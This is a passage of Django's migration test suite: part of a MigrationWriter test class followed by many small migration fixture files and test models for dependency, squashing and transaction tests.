    def test_serialize_functools_partial(self):
        value = functools.partial(datetime.timedelta, 1, seconds=2)
        result = self.serialize_round_trip(value)
        self.assertEqual(result.func, value.func)
        self.assertEqual(result.args, value.args)
        self.assertEqual(result.keywords, value.keywords)

    def test_simple_migration(self):
        """
        Tests serializing a simple migration.
        """
        fields = {
            'charfield': models.DateTimeField(default=datetime.datetime.utcnow),
            'datetimefield': models.DateTimeField(default=datetime.datetime.utcnow),
        }

        options = {
            'verbose_name': 'My model',
            'verbose_name_plural': 'My models',
        }

        migration = type(str("Migration"), (migrations.Migration,), {
            "operations": [
                migrations.CreateModel("MyModel", tuple(fields.items()), options, (models.Model,)),
                migrations.CreateModel("MyModel2", tuple(fields.items()), bases=(models.Model,)),
                migrations.CreateModel(
                    name="MyModel3", fields=tuple(fields.items()), options=options, bases=(models.Model,)
                ),
                migrations.DeleteModel("MyModel"),
                migrations.AddField("OtherModel", "datetimefield", fields["datetimefield"]),
            ],
            "dependencies": [("testapp", "some_other_one")],
        })
        writer = MigrationWriter(migration)
        output = writer.as_string()
        # It should NOT be unicode.
        self.assertIsInstance(output, six.binary_type, "Migration as_string returned unicode")
        # We don't test the output formatting - that's too fragile.
        # Just make sure it runs for now, and that things look alright.
        result = self.safe_exec(output)
        self.assertIn("Migration", result)
        # In order to preserve compatibility with Python 3.2 unicode literals
        # prefix shouldn't be added to strings.
        tokens = tokenize.generate_tokens(six.StringIO(str(output)).readline)
        for token_type, token_source, (srow, scol), __, line in tokens:
            if token_type == tokenize.STRING:
                self.assertFalse(
                    token_source.startswith('u'),
                    "Unicode literal prefix found at %d:%d: %r" % (
                        srow, scol, line.strip()
                    )
                )

    # Silence warning on Python 2: Not importing directory
    # 'tests/migrations/migrations_test_apps/without_init_file/migrations':
    # missing __init__.py
    @ignore_warnings(category=ImportWarning)
    def test_migration_path(self):
        test_apps = [
            'migrations.migrations_test_apps.normal',
            'migrations.migrations_test_apps.with_package_model',
            'migrations.migrations_test_apps.without_init_file',
        ]

        base_dir = os.path.dirname(os.path.dirname(upath(__file__)))

        for app in test_apps:
            with self.modify_settings(INSTALLED_APPS={'append': app}):
                migration = migrations.Migration('0001_initial', app.split('.')[-1])
                expected_path = os.path.join(base_dir, *(app.split('.') + ['migrations', '0001_initial.py']))
                writer = MigrationWriter(migration)
                self.assertEqual(writer.path, expected_path)

    def test_custom_operation(self):
        migration = type(str("Migration"), (migrations.Migration,), {
            "operations": [
                custom_migration_operations.operations.TestOperation(),
                custom_migration_operations.operations.CreateModel(),
                migrations.CreateModel("MyModel", (), {}, (models.Model,)),
                custom_migration_operations.more_operations.TestOperation()
            ],
            "dependencies": []
        })
        writer = MigrationWriter(migration)
        output = writer.as_string()
        result = self.safe_exec(output)
        self.assertIn("custom_migration_operations", result)
        self.assertNotEqual(
            result['custom_migration_operations'].operations.TestOperation,
            result['custom_migration_operations'].more_operations.TestOperation
        )

    def test_sorted_imports(self):
        """
        #24155 - Tests ordering of imports.
        """
        migration = type(str("Migration"), (migrations.Migration,), {
            "operations": [
                migrations.AddField("mymodel", "myfield", models.DateTimeField(
                    default=datetime.datetime(2012, 1, 1, 1, 1, tzinfo=utc),
                )),
            ]
        })
        writer = MigrationWriter(migration)
        output = writer.as_string().decode('utf-8')
        self.assertIn(
            "import datetime\n"
            "from django.db import migrations, models\n"
            "from django.utils.timezone import utc\n",
            output
        )

    def test_migration_file_header_comments(self):
        """
        Test comments at top of file.
        """
        migration = type(str("Migration"), (migrations.Migration,), {
            "operations": []
        })
        dt = datetime.datetime(2015, 7, 31, 4, 40, 0, 0, tzinfo=utc)
        with mock.patch('django.db.migrations.writer.now', lambda: dt):
            writer = MigrationWriter(migration)
            output = writer.as_string().decode('utf-8')

        self.assertTrue(
            output.startswith(
                "# -*- coding: utf-8 -*-\n"
                "# Generated by Django %(version)s on 2015-07-31 04:40\n" % {
                    'version': get_version(),
                }
            )
        )

    def test_models_import_omitted(self):
        """
        django.db.models shouldn't be imported if unused.
        """
        migration = type(str("Migration"), (migrations.Migration,), {
            "operations": [
                migrations.AlterModelOptions(
                    name='model',
                    options={'verbose_name': 'model', 'verbose_name_plural': 'models'},
                ),
            ]
        })
        writer = MigrationWriter(migration)
        output = writer.as_string().decode('utf-8')
        self.assertIn("from django.db import migrations\n", output)

    def test_deconstruct_class_arguments(self):
        # Yes, it doesn't make sense to use a class as a default for a
        # CharField. It does make sense for custom fields though, for example
        # an enumfield that takes the enum class as an argument.
        class DeconstructibleInstances(object):
            def deconstruct(self):
                return ('DeconstructibleInstances', [], {})

        string = MigrationWriter.serialize(models.CharField(default=DeconstructibleInstances))[0]
        self.assertEqual(string, "models.CharField(default=migrations.test_writer.DeconstructibleInstances)")












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        )

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ("migrations", "0001_initial"),
    ]

    operations = [

        migrations.DeleteModel("Tribble"),

        migrations.RemoveField("Author", "silly_field"),

        migrations.AddField("Author", "rating", models.IntegerField(default=0)),

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('migrations', '0002_second'),
    ]

    operations = [
        migrations.CreateModel(
            name='ModelWithCustomBase',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
            ],
            options={},
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='UnmigratedModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
            ],
            options={},
            bases=(models.Model,),
        ),
        migrations.DeleteModel(
            name='Author',
        ),
        migrations.DeleteModel(
            name='Book',
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        )

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [("migrations", "0001_initial")]

    operations = [

        migrations.DeleteModel("Tribble"),

        migrations.RemoveField("Author", "silly_field"),

        migrations.AddField("Author", "rating", models.IntegerField(default=0)),

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    replaces = [
        ("migrations", "0001_initial"),
        ("migrations", "0002_second"),
    ]

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("rating", models.IntegerField(default=0)),
            ],
        ),

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        ),

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [

        migrations.DeleteModel("Tribble"),

        migrations.RemoveField("Author", "silly_field"),

        migrations.AddField("Author", "rating", models.IntegerField(default=0)),

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        )

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ("migrations", "0001_initial"),
    ]

    operations = [

        migrations.DeleteModel("Tribble"),

        migrations.RemoveField("Author", "silly_field"),

        migrations.AddField("Author", "rating", models.IntegerField(default=0)),

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("migrations", "2_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("migrations", "1_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("migrations", "4_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    replaces = [
        ("migrations", "3_auto"),
        ("migrations", "4_auto"),
        ("migrations", "5_auto"),
    ]

    dependencies = [("migrations", "2_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("migrations", "6_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("migrations", "5_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("migrations", "3_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    replaces = [
        ("app2", "1_auto"),
        ("app2", "2_auto"),
    ]

    dependencies = [("app1", "1_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app1", "1_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app2", "1_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app1", "2_auto"), ("app2", "2_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    replaces = [
        ("app1", "2_auto"),
        ("app1", "3_auto"),
    ]

    dependencies = [("app1", "1_auto"), ("app2", "2_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app1", "1_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app1", "3_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ("auth", "__first__"),
    ]

    operations = [

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("user", models.ForeignKey("auth.User", models.SET_NULL, null=True)),
            ],
        )

    ]
























# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('mutate_state_b', '0001_initial'),
    ]

    operations = [
        migrations.SeparateDatabaseAndState([], [
            migrations.CreateModel(
                name='A',
                fields=[
                    ('id', models.AutoField(serialize=False, verbose_name='ID', auto_created=True, primary_key=True)),
                ],
            ),
        ])
    ]




































# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [
        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),
        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        )
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ("conflicting_app_with_dependencies", "0001_initial"),
    ]

    operations = [
        migrations.CreateModel(
            "Something",
            [
                ("id", models.AutoField(primary_key=True)),
            ],
        )
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ("conflicting_app_with_dependencies", "0001_initial"),
        ("migrated_app", "0001_initial"),
    ]

    operations = [
        migrations.DeleteModel("Tribble"),
        migrations.RemoveField("Author", "silly_field"),
        migrations.AddField("Author", "rating", models.IntegerField(default=0)),
        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
            ],
        )
    ]


















# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('author_app', '0001_initial'),
    ]

    operations = [
        migrations.CreateModel(
            name='Book',
            fields=[
                ('id', models.AutoField(serialize=False, auto_created=True, primary_key=True)),
                ('title', models.CharField(max_length=50)),
                ('author', models.ForeignKey('author_app.Author', models.CASCADE)),
            ],
        ),
    ]


















# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='Author',
            fields=[
                ('id', models.AutoField(serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=50)),
            ],
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('author_app', '0001_initial'),
        ('book_app', '0001_initial'),  # Forces the book table to alter the FK
    ]

    operations = [
        migrations.AlterField(
            model_name='author',
            name='id',
            field=models.CharField(max_length=10, primary_key=True),
        ),
    ]






from django.db import models


class OtherAuthor(models.Model):
    id = models.AutoField(primary_key=True)
    name = models.CharField(max_length=255)
    slug = models.SlugField(null=True)
    age = models.IntegerField(default=0)
    silly_field = models.BooleanField(default=False)

    class Meta:
        app_label = "migrated_unapplied_app"












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [

        migrations.CreateModel(
            "OtherAuthor",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

    ]
























# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        )

    ]


















# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.SeparateDatabaseAndState([], [
            migrations.CreateModel(
                name='B',
                fields=[
                    ('id', models.AutoField(serialize=False, verbose_name='ID', auto_created=True, primary_key=True)),
                ],
            ),
        ])
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('mutate_state_b', '0001_initial'),
    ]

    operations = [
        migrations.SeparateDatabaseAndState([], [
            migrations.AddField(
                model_name='B',
                name='added',
                field=models.TextField(),
            ),
        ])
    ]












from django.db import models


class C1(models.Model):
    pass


class C2(models.Model):
    a1 = models.ForeignKey('lookuperror_a.A1', models.CASCADE)


class C3(models.Model):
    pass












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='C1',
            fields=[
                ('id', models.AutoField(serialize=False, verbose_name='ID', auto_created=True, primary_key=True)),
            ],
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('lookuperror_a', '0002_a2'),
        ('lookuperror_c', '0001_initial'),
    ]

    operations = [
        migrations.CreateModel(
            name='C2',
            fields=[
                ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),
                ('a1', models.ForeignKey('lookuperror_a.A1', models.CASCADE)),
            ],
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('lookuperror_c', '0002_c2'),
    ]

    operations = [
        migrations.CreateModel(
            name='C3',
            fields=[
                ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),
            ],
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models


class SillyModel(models.Model):
    silly_field = models.BooleanField(default=False)
    silly_tribble = models.ForeignKey("migrations.Tribble", models.CASCADE)
    is_trouble = models.BooleanField(default=True)












from django.db import models


class B1(models.Model):
    pass


class B2(models.Model):
    a1 = models.ForeignKey('lookuperror_a.A1', models.CASCADE)


class B3(models.Model):
    pass












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('lookuperror_a', '0002_a2'),
        ('lookuperror_b', '0001_initial'),
    ]

    operations = [
        migrations.CreateModel(
            name='B2',
            fields=[
                ('id', models.AutoField(primary_key=True, verbose_name='ID', auto_created=True, serialize=False)),
                ('a1', models.ForeignKey('lookuperror_a.A1', models.CASCADE)),
            ],
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='B1',
            fields=[
                ('id', models.AutoField(serialize=False, auto_created=True, primary_key=True, verbose_name='ID')),
            ],
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('lookuperror_b', '0002_b2'),
    ]

    operations = [
        migrations.CreateModel(
            name='B3',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, primary_key=True, auto_created=True)),
            ],
        ),
    ]
























# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [("unspecified_app_with_conflict", "0001_initial")]

    operations = [

        migrations.CreateModel(
            "Something",
            [
                ("id", models.AutoField(primary_key=True)),
            ],
        )

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [("unspecified_app_with_conflict", "0001_initial")]

    operations = [

        migrations.DeleteModel("Tribble"),

        migrations.RemoveField("Author", "silly_field"),

        migrations.AddField("Author", "rating", models.IntegerField(default=0)),

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
            ],
        )

    ]






from django.db import models


class A1(models.Model):
    pass


class A2(models.Model):
    pass


class A3(models.Model):
    b2 = models.ForeignKey('lookuperror_b.B2', models.CASCADE)
    c2 = models.ForeignKey('lookuperror_c.C2', models.CASCADE)


class A4(models.Model):
    pass












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='A1',
            fields=[
                ('id', models.AutoField(serialize=False, verbose_name='ID', auto_created=True, primary_key=True)),
            ],
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('lookuperror_c', '0002_c2'),
        ('lookuperror_b', '0002_b2'),
        ('lookuperror_a', '0002_a2'),
    ]

    operations = [
        migrations.CreateModel(
            name='A3',
            fields=[
                ('id', models.AutoField(serialize=False, auto_created=True, primary_key=True, verbose_name='ID')),
                ('b2', models.ForeignKey('lookuperror_b.B2', models.CASCADE)),
                ('c2', models.ForeignKey('lookuperror_c.C2', models.CASCADE)),
            ],
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('lookuperror_a', '0003_a3'),
    ]

    operations = [
        migrations.CreateModel(
            name='A4',
            fields=[
                ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),
            ],
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('lookuperror_a', '0001_initial'),
    ]

    operations = [
        migrations.CreateModel(
            name='A2',
            fields=[
                ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),
            ],
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='IPAddressField',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('ip', models.IPAddressField(null=True, blank=True)),
            ],
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [
        ('migrations', '0001_initial'),
    ]

    operations = [
        migrations.RemoveField(
            model_name='ipaddressfield',
            name='ip',
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    initial = True

    operations = [
        migrations.CreateModel(
            name='Entry',
            fields=[
                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
                ('title', models.CharField(max_length=255)),
            ],
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):
    operations = []






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):
    dependencies = [('migrations', '0001_initial')]
    operations = []






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [

        migrations.CreateModel(
            "Salamander",
            [
                ("id", models.AutoField(primary_key=True)),
                ("size", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ("migrations", "0001_initial"),
    ]

    operations = [

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):
    """
    This is a wee bit crazy, but it's just to show that run_before works.
    """

    dependencies = [
        ("migrations", "0001_initial"),
    ]

    run_before = [
        ("migrations", "0002_second"),
    ]

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


def raise_error(apps, schema_editor):
    # Test operation in non-atomic migration is not wrapped in transaction
    Publisher = apps.get_model('migrations', 'Publisher')
    Publisher.objects.create(name='Test Publisher')
    raise RuntimeError('Abort migration')


class Migration(migrations.Migration):
    atomic = False

    operations = [
        migrations.CreateModel(
            "Publisher",
            [
                ("name", models.CharField(primary_key=True, max_length=255)),
            ],
        ),
        migrations.RunPython(raise_error),
        migrations.CreateModel(
            "Book",
            [
                ("title", models.CharField(primary_key=True, max_length=255)),
                ("publisher", models.ForeignKey("migrations.Publisher", models.SET_NULL, null=True)),
            ],
        ),
    ]












from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    initial = True

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='Project',
            fields=[
                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
            ],
        ),
        migrations.CreateModel(
            name='Task',
            fields=[
                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
            ],
        ),
        migrations.AddField(
            model_name='project',
            name='tasks',
            field=models.ManyToManyField(to='Task'),
        ),
    ]






from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    initial = True

    dependencies = [
        ("migrations", "0001_initial"),
    ]

    operations = [
        migrations.AddField(
            model_name='task',
            name='projects',
            field=models.ManyToManyField(to='Project'),
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):
    pass












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):
    dependencies = [("migrations", "0001_initial")]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):
    replaces = [
        ("migrations", "0001_initial"),
        ("migrations", "0002_second"),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):
    dependencies = [("migrations", "0002_second")]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    initial = True

    operations = [
        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),
        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        ),
        migrations.AddField(
            model_name='tribble',
            name='bool',
            field=models.BooleanField(default=False),
        ),
        migrations.AlterUniqueTogether(
            name='author',
            unique_together=set([('name', 'slug')]),
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ("migrations", "0001_initial"),
    ]

    operations = [

        migrations.DeleteModel("Tribble"),

        migrations.RemoveField("Author", "silly_field"),

        migrations.AddField("Author", "rating", models.IntegerField(default=0)),

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


def raise_error(apps, schema_editor):
    # Test atomic operation in non-atomic migration is wrapped in transaction
    Editor = apps.get_model('migrations', 'Editor')
    Editor.objects.create(name='Test Editor')
